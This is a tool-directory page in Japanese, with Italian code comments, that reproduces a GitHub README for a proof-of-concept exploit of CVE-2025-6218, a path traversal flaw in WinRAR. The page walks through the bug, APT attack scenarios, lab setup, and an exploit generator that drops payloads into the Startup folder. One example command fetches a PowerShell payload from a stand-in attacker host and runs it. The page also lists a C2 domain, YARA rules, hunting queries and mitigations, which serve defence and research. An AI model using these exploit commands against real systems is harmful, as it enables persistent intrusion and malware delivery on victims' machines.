Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-6218-WinRAR-RCE-POC — CVE-2025-6218 - WinRARパストラバーサルRCE脆弱性(バージョン7.11以前に影響)の包括的な分析と概念実証 | Kitploit
ツール/GitHubGitHub/chrxstxqn/cve-2025-6218-winrar-rce-poc
フィッシングツール永続化メカニズム脆弱性分析エクスプロイト横移動マルウェア分析ペネトレーションテスト学習と教育バイナリエクスプロイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubchrxstxqn/cve-2025-6218-winrar-rce-poc

CVE-2025-6218-WinRAR-RCE-POC

CVE-2025-6218 - WinRARパストラバーサルRCE脆弱性(バージョン7.11以前に影響)の包括的な分析と概念実証

リポジトリを見る
218ヶ月前未レビュー

CVE-2025-6218: WinRAR パストラバーサル RCE

CVE CVSS Score Platform License Status

⚠️ 重大な脆弱性 - 積極的な悪用が確認されました

CVE-2025-6218 は、WinRAR におけるパストラバーサルの深刻な脆弱性で、任意のコード実行を可能にします。現在、APT グループ(GOFFEE、Bitter(APT-C-08)、Gamaredon など)によって悪用されています。


📋 目次

  • 概要
  • 技術的説明
  • エクスプロイトの仕組み
  • 影響を受けるバージョン
  • 攻撃シナリオ
  • 脅威アクター
  • 概念実証
  • 検出とIOC
  • 緩和策
  • タイムライン
  • リポジトリ構成
  • 参考情報

🎯 概要

CVE-2025-6218 は、Windows 版 WinRAR における深刻なパストラバーサルの脆弱性であり、攻撃者に任意のコード実行を許します。

主な影響

なぜ危険なのか?

攻撃者は以下のことが可能です:

  • ✅ 機密フォルダ(スタートアップ、System32)にファイルを配置
  • ✅ システム起動時にコードを実行
  • ✅ 高い権限なしで永続性を確立
  • ✅ アンチウイルスを回避(正規ツールの悪用)
  • ✅ 企業ネットワークでのラテラルムーブメント

🔍 技術的説明

脆弱性の概要

WinRAR は、特殊な .rar アーカイブ内のファイルパスを正しく検証しません。ユーザーが不正なアーカイブを展開すると、パストラバーサル(../ または ..\\)シーケンスを使用して、想定された展開先フォルダの外の任意のパスにファイルが書き込まれる可能性があります。

根本原因 - バグ```c

// Pseudocodice - WinRAR v7.11 (VULNERABILE) void extract_file(rar_entry *entry, char *dest_dir) { char final_path[MAX_PATH];

root@kitploit:~
strcpy(final_path, dest_dir);         // "C:\\Temp\\"
strcat(final_path, entry->filename);  // + "..\\..\\..\\Windows\\System32\\malware.exe"

// ❌ ERRORE: Nessuna validazione del path traversal!
// final_path = "C:\\Temp\\..\\..\\..\\Windows\\System32\\malware.exe"
// Risolto come: "C:\\Windows\\System32\\malware.exe" ← EXPLOIT!

create_file(final_path);  // File creato in directory non intesa

}

root@kitploit:~
### v7.11 で欠けている保護

- ❌ ファイルが `dest_dir` 内に残っているかどうかのチェックがない
- ❌ `..` や `.` シーケンスに対するフィルタがない
- ❌ パスの正規化がない
- ❌ 許可されたディレクトリのホワイトリストがない
- ❌ コンテインメントの検証がない

### v7.12 での修正```c
// WinRAR v7.12 (PATCHED)
bool is_path_contained(char *path, char *base_dir) {
    char canonical[MAX_PATH], canonical_base[MAX_PATH];
    
    // Normalizza entrambi i percorsi
    GetFullPathName(path, MAX_PATH, canonical, NULL);
    GetFullPathName(base_dir, MAX_PATH, canonical_base, NULL);
    
    // Verifica contenimento
    if (strncmp(canonical, canonical_base, strlen(canonical_base)) != 0) {
        return false;  // Path esce dalla directory base
    }
    return true;
}

void extract_file_safe(rar_entry *entry, char *dest_dir) {
    char final_path[MAX_PATH];
    strcpy(final_path, dest_dir);
    strcat(final_path, entry->filename);
    
    // ✅ FIX: Verifica che il file rimane dentro dest_dir
    if (!is_path_contained(final_path, dest_dir)) {
        skip_extraction();  // Rifiuta estrazione
        log_error("Path traversal detected!");
        return;
    }
    
    create_file(final_path);  // Adesso sicuro
}

💥 エクスプロイトの仕組み

パストラバーサルの説明```

Cartella di Estrazione: C:\Temp\Extract

Path nel RAR (craft): ..\..\..\..\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat

Risoluzione Path: C:\Temp\Extract\.. = C:\Temp\ C:\Temp\.. = C:\ C:\.. = C:\ (non può andare oltre)

  • Users\\...\Startup\payload.bat

= C:\Users\\AppData\Roaming\...\Startup\payload.bat ✓

root@kitploit:~
### 攻撃フロー図```
┌─────────────────────────────────────────────┐
│  1. Attaccante crea RAR con path craft     │
│     es: ..\\..\\..\\Startup\\malware.bat   │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  2. Distribuzione via spear-phishing        │
│     Email mirata con allegato RAR          │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  3. Vittima estrae archivio con WinRAR     │
│     (versione ≤ 7.11)                       │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  4. WinRAR non valida path traversal       │
│     File estratto in Startup folder         │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  5. Al boot: payload eseguito              │
│     RAT stabilisce C2 connection            │
└─────────────────────────────────────────────┘

🔴 脆弱なバージョン

互換性テーブル

あなたのバージョンを確認する方法```powershell

Metodo 1: PowerShell

(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion

Output:

7.11.0.0 → 🔴 VULNERABILE ⚠️

7.12.0.0 → 🟢 SAFE ✓

Metodo 2: CMD

wmic datafile where name="C:\\Program Files\\WinRAR\\WinRAR.exe" get Version

Metodo 3: GUI

WinRAR → Help → About WinRAR → Verifica versione

root@kitploit:~
---

## 🌍 攻撃シナリオ

### シナリオ 1: Bitter/APT-C-08 スピアフィッシング(アクティブ確認済み)

**対象**: 政府、軍事組織、戦略機関```
Email Phishing:
  From: [email protected]
  Subject: "Provision of Information for Sectoral for AJK.rar"
  Attachment: Provision_of_Information.rar

Contenuto Archive:
  ├── Document.docx (esca legittima - report convincente)
  └── ..\\..\\..\\..\\Users\\User\\AppData\\Roaming\\Microsoft\\Office\\STARTUP\\Template.dotm
      (macro malato nascosto)

Esecuzione:
  1. Vittima estrae RAR
  2. WinRAR non valida path → Template.dotm finisce in Office STARTUP
  3. Prossimo avvio Word → Macro eseguita automaticamente
  4. PowerShell downloader attivato
  5. C# Trojan scaricato: WmRAT, MiyaRAT, ZxxZ
  6. C2 Server: johnfashionaccess.com
  7. Capabilities:
     - Keylogging
     - Screenshot capture
     - RDP credential stealing
     - File exfiltration
     - Lateral movement

シナリオ2: GOFFEE マルチステージペイロード

目標: ロシア政府機関``` RAR specializzato: ├── run.bat (path: ..\..\..\..\Windows\Startup\run.bat) └── legitimate_document.pdf (esca)

Attack Chain:

  1. Estrazione RAR → run.bat finisce in Startup
  2. Al prossimo boot → run.bat eseguito
  3. PowerShell script scarica stage 2
  4. C# Custom Trojan installato
  5. RAT stabilisce C2 persistente
  6. Full system control achieved
root@kitploit:~
### シナリオ3: ランサムウェア配信```
RAR Weaponized:
  └── locker.exe (path: ..\\..\\..\\Startup\\locker.exe)

Infezione:
  1. Estrazione RAR
  2. locker.exe → Startup folder
  3. Sistema reboota (naturale o forzato)
  4. locker.exe eseguito con diritti user
  5. File system encryption
  6. Ransom note displayed
  7. Bitcoin payment richiesto

🎭 脅威アクター

GOFFEE (Paper Werewolf) 🇷🇺

  • 出身: ロシア
  • 初確認: 2025年7月
  • 標的: ロシア政府機関
  • 手法: CVE-2025-6218 + CVE-2025-8088 (NTFS ADS)
  • ペイロード: C# カスタムトロイの木馬
  • TTP: マルチステージ感染、NTFS ADS悪用

Bitter / APT-C-08 / Manlinghua 🇵🇰

  • 出身: 南アジア
  • 初確認: 2025年8月
  • 標的: 政府、軍事、戦略組織
  • 手法: RAR + マクロテンプレートを用いたスピアフィッシング
  • ペイロード: WmRAT、MiyaRAT、ZxxZ
  • C2: johnfashionaccess.com
  • TTP: ソーシャルエンジニアリング、Officeマクロ悪用
  • ステータス: 🔴 アクティブキャンペーン

Gamaredon 🇷🇺

  • 出身: ロシア (FSBと連携するAPT)
  • 初確認: 2025年11月
  • 標的: ウクライナ政府
  • ペイロード: GamaWiper (データ破壊)
  • タイプ: サイバーサボタージュ + 諜報活動
  • TTP: 大量配布、ワイパー展開

🧪 概念実証

前提条件```

✅ Windows VM (10, 11, Server) ✅ WinRAR versione ≤ 7.11 installato ✅ Network isolato (no internet - safety first!) ✅ Snapshot VM per rollback ✅ Admin access per testing

root@kitploit:~
### ラボ環境のセットアップ```powershell
# 1. Crea VM Windows pulita
# 2. Installa WinRAR 7.11
winget install RARLab.WinRAR --version 7.11

# 3. Verifica versione
(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
# Output: 7.11.0.0 ✓

# 4. Disabilita network
Set-NetAdapter -Name "Ethernet" -Enabled $false

# 5. Crea snapshot
# VM → Snapshot → "Clean WinRAR 7.11 Vulnerable"

Quick Start POC```bash

1. Clone questa repository

git clone https://github.com/Chrxstxqn/CVE-2025-6218-WinRAR-RCE-POC.git cd CVE-2025-6218-WinRAR-RCE-POC

2. Genera exploit archive

python3 exploit/generate_rar.py
--target startup
--payload calc.exe
--output exploit_poc.zip

Output:

[+] Target location: startup

[+] Traversal path: ..\..\..\..\Users\{user}\AppData\...\Startup

[+] Created: exploit_poc.zip

3. Trasferisci exploit_poc.zip su VM vulnerabile

4. Su VM target:

- Right-click exploit_poc.zip

- Extract to C:\

- WinRAR estrae file

5. Verifica exploit success

ls "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"

Dovrebbe mostrare: calc.exe ← PATH TRAVERSAL RIUSCITO!

6. Reboot VM

shutdown /r /t 0

7. Al login: calc.exe eseguito automaticamente ✓

root@kitploit:~
### Exploit Generator の使用法```bash
# Genera payload per Startup folder
python3 exploit/generate_rar.py --target startup --payload shell.bat

# Genera payload per System32 (richiede admin)
python3 exploit/generate_rar.py --target system32 --payload malware.exe

# Genera con custom batch command
python3 exploit/generate_rar.py \
  --target startup \
  --payload dropper.bat \
  --batch "powershell -NoProfile -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"

# Targets disponibili:
# - startup    : Auto-execution at login
# - system32   : System directory (needs admin)
# - appdata    : User AppData
# - documents  : User Documents
# - temp       : User Temp folder

🔎 検出 & IOC

ファイルシステムの指標```powershell

Monitor creazione file in Startup

Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Recurse -File | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }

Check for suspicious Office templates

Get-ChildItem "$env:APPDATA\Microsoft\Office" -Include ".dotm",".xlsm" -Recurse | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }

Monitor System32 creation (requires admin)

Get-WinEvent -LogName Security -FilterXPath "*[EventData[Data[@Name='ObjectName'] and contains(., 'System32')]]" -MaxEvents 100

root@kitploit:~
### プロセス実行```powershell
# Verifica processi in esecuzione da Startup
Get-WmiObject Win32_Process | Where-Object {
    $_.ExecutablePath -like "*Startup*"
} | Select-Object Name, ExecutablePath, ProcessId

# Monitor WinRAR extraction con Sysmon (Event ID 11: File Created)
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[System[EventID=11]] and *[EventData[Data[@Name='Image'] and contains(., 'WinRAR')]]" -MaxEvents 50

Network IOCs (C2 Domains)```

johnfashionaccess.com (Bitter/APT-C-08) [additional IOCs from CISA KEV]

root@kitploit:~
### メール指標```
Subject patterns:
  - "Provision of Information"
  - "Sectoral for AJK"
  - Government-related keywords
  
Senders:
  - [email protected]
  - Free email providers (Gmail, Outlook)
  
Attachments:
  - .RAR files da external senders
  - Legitimate-looking document names

YARAルール```yara

rule CVE_2025_6218_WinRAR_PathTraversal { meta: description = "Detect RAR archives with path traversal sequences" author = "Christian Schito" date = "2025-12-15" cve = "CVE-2025-6218"

root@kitploit:~
strings:
    $rar_sig = { 52 61 72 21 }  // "Rar!" signature
    $traversal1 = "..\\" ascii wide
    $traversal2 = "../" ascii wide
    $startup = "Startup" ascii wide nocase
    $system32 = "System32" ascii wide nocase
    
condition:
    $rar_sig at 0 and 
    (#traversal1 > 3 or #traversal2 > 3) and
    ($startup or $system32)

}

root@kitploit:~
---

## 🛡️ 緩和策

### 🔴 即時パッチ(重大)```powershell
# Verifica versione attuale
$version = (Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
if ($version -le "7.11.0.0") {
    Write-Host "🔴 VULNERABILE! Update richiesto!" -ForegroundColor Red
} else {
    Write-Host "🟢 SAFE - Versione $version patched" -ForegroundColor Green
}

# Download WinRAR 7.12+
# https://www.rarlab.com/rar_add.htm

# Deploy aziendale (SCCM/Intune)
msiexec /i WinRAR-x64-721.msi /quiet /norestart

# Verifica post-update
(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
# Dovrebbe essere ≥ 7.12.0.0

深層防御

メールセキュリティ```

✅ Blocca .RAR da external domains ✅ Quarantine archives per deep scanning ✅ Content disarm and reconstruction (CDR) ✅ Sandboxing di allegati sospetti ✅ YARA rules per detection

root@kitploit:~
#### エンドポイント保護```powershell
# Scheduled task per monitoring
$action = New-ScheduledTaskAction -Execute 'PowerShell.exe' -Argument '-File C:\Scripts\monitor_startup.ps1'
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "CVE-2025-6218 Monitor" -Description "Monitor Startup folder for suspicious files"

# Sysmon configuration
# Monitor Event ID 11 (File Created) in sensitive directories

ネットワークセグメンテーション```

✅ Separate admin workstations ✅ Block egress to known C2 domains ✅ Monitor for suspicious DNS queries ✅ Implement zero-trust network access

root@kitploit:~
#### アプリケーションホワイトリスト```powershell
# AppLocker policy - Block execution from APPDATA\Startup
$rule = New-AppLockerPolicy -RuleType Path -Path "$env:APPDATA\*\Startup\*" -Action Deny -User Everyone
Set-AppLockerPolicy -PolicyObject $rule

ユーザートレーニング```

✅ Non aprire archivi da email unknown ✅ Verify sender identity prima di aprire attachments ✅ Report suspicious emails al security team ✅ Keep software up-to-date ✅ Use sandboxed environment per file sospetti

root@kitploit:~
---

## 📅 タイムライン

| 日付 | イベント |
|------|---------|
| **不明** | 脆弱性が発見される |
| **2025年6月** | RARLAB が WinRAR 7.12 をパッチとしてリリース |
| **2025年7月** | GOFFEE (Paper Werewolf) が積極的な悪用を開始 |
| **2025年8月** | BI.ZONE が詳細な技術分析を公開 |
| **2025年9月** | Bitter/APT-C-08 がスピアフィッシングキャンペーンで確認される |
| **2025年11月** | Gamaredon がウクライナに対する悪用を確認 |
| **2025年12月9日** | 🔴 **CISA が CVE-2025-6218 を KEV カタログに追加** |
| **2025年12月30日** | 米国連邦政府機関向けパッチ適用期限 |

---

## 📁 リポジトリ構造```
CVE-2025-6218-WinRAR-RCE-POC/
├── README.md                           # Questa guida completa
├── LICENSE                             # MIT License
├── docs/
│   ├── TECHNICAL_ANALYSIS.md          # Deep dive tecnico
│   ├── DETECTION.md                   # Forensics & IOC
│   ├── IOC_INDICATORS.md              # Indicators of Compromise
│   └── SETUP.md                       # Lab setup guide
├── exploit/
│   ├── generate_rar.py                # POC exploit generator (Python)
│   ├── CVE-2025-6218.bat              # Batch script POC
│   └── README.md                      # Exploit usage guide
├── tools/
│   ├── detect.ps1                     # Detection PowerShell script
│   ├── check_version.ps1              # Version checker
│   └── monitor_startup.ps1            # Startup folder monitor
└── samples/
    ├── yara_rules.yar                 # YARA detection rules
    └── sysmon_config.xml              # Sysmon configuration

📚 参考文献

公式

  • NVD CVE-2025-6218 - 公式の脆弱性記録
  • CISA KEV Catalog - 2025年12月9日に追加
  • RARLAB Security Advisory - 公式パッチダウンロード

脅威インテリジェンス

  • SecPod Analysis - APT-C-08キャンペーン分析
  • TheHackerNews Report - 活発な悪用の警告
  • RedHotCyber Analysis - CISA警告(イタリア語)

コミュニティのPoC

  • absholi7ly/CVE-2025-6218
  • skimask1690/CVE-2025-6218-POC
  • ignis-sec/CVE-2025-6218

⚠️ 免責事項

⚠️ 教育および研究目的専用

このリポジトリは教育目的および認可されたセキュリティ研究のためにのみ提供されています。

使用禁止:

  • ❌ システムへの無許可攻撃
  • ❌ コンピュータへの無許可アクセス
  • ❌ マルウェアの拡散
  • ❌ 現地または国際法の違反
  • ❌ あらゆる違法活動

使用許可:

  • ✅ 自分が所有するシステム
  • ✅ 許可された隔離仮想マシン
  • ✅ 管理されたテスト環境
  • ✅ 明示的な書面による許可を得た場合
  • ✅ 正当な研究目的

法的責任```

L'autore NON è responsabile per:

  • Uso improprio di questo codice
  • Danni causati da questo software
  • Violazioni di legge commesse usando questo materiale

Usando questo repository, accetti di:

  • Rispettare tutte le leggi applicabili
  • Usare il codice solo per scopi legittimi
  • Assumerti piena responsabilità delle tue azioni
root@kitploit:~
**不正アクセスは違法です。警告されています。**

---

## 📄 ライセンス

MIT ライセンス - 詳細は [LICENSE](https://github.com/chrxstxqn/cve-2025-6218-winrar-rce-poc/blob/HEAD/LICENSE) をご覧ください

---

## 🤝 コントリビューション

コントリビューション大歓迎!以下の場合:
- 🐛 バグ報告
- 💡 機能リクエスト
- 📝 ドキュメントの改善
- 🔬 追加のIOC

**Issue** または **Pull Request** を開いてください!

---

## 📞 連絡先

**作者**: Christian Schito  
**GitHub**: [@Chrxstxqn](https://github.com/Chrxstxqn)  
**最終更新日**: 2025年12月15日  
**ステータス**: 🔴 研究中 - 悪用確認済み  

---

<div align="center">

**⭐ このリポジトリが役に立ったら、スターを付けてください! ⭐**

**🔒 安全を保ちましょう。今すぐパッチを当ててください。 🔒**

</div>
ツールをダウンロード
項目詳細
CVSS スコア7.8(高)
影響を受けるバージョンWinRAR ≤ 7.11(Windows のみ)
対象プラットフォームWindows 10、11、Server
影響を受けるユーザー数約5億人
修正版WinRAR 7.12(2025年6月)
ステータス🔴 現在も悪用中
CISA KEV2025年12月9日追加
バージョンステータス注記
≤ 7.10🔴 脆弱すべてのエクスプロイトが動作します
7.11🔴 脆弱最後の脆弱バージョン
7.12 Beta 1+🟢 修正済みパストラバーサルを修正
7.12+🟢 修正済み修正を含む安定リリース
UNIX / Android✅ 影響なしWindows以外のバージョンは影響を受けません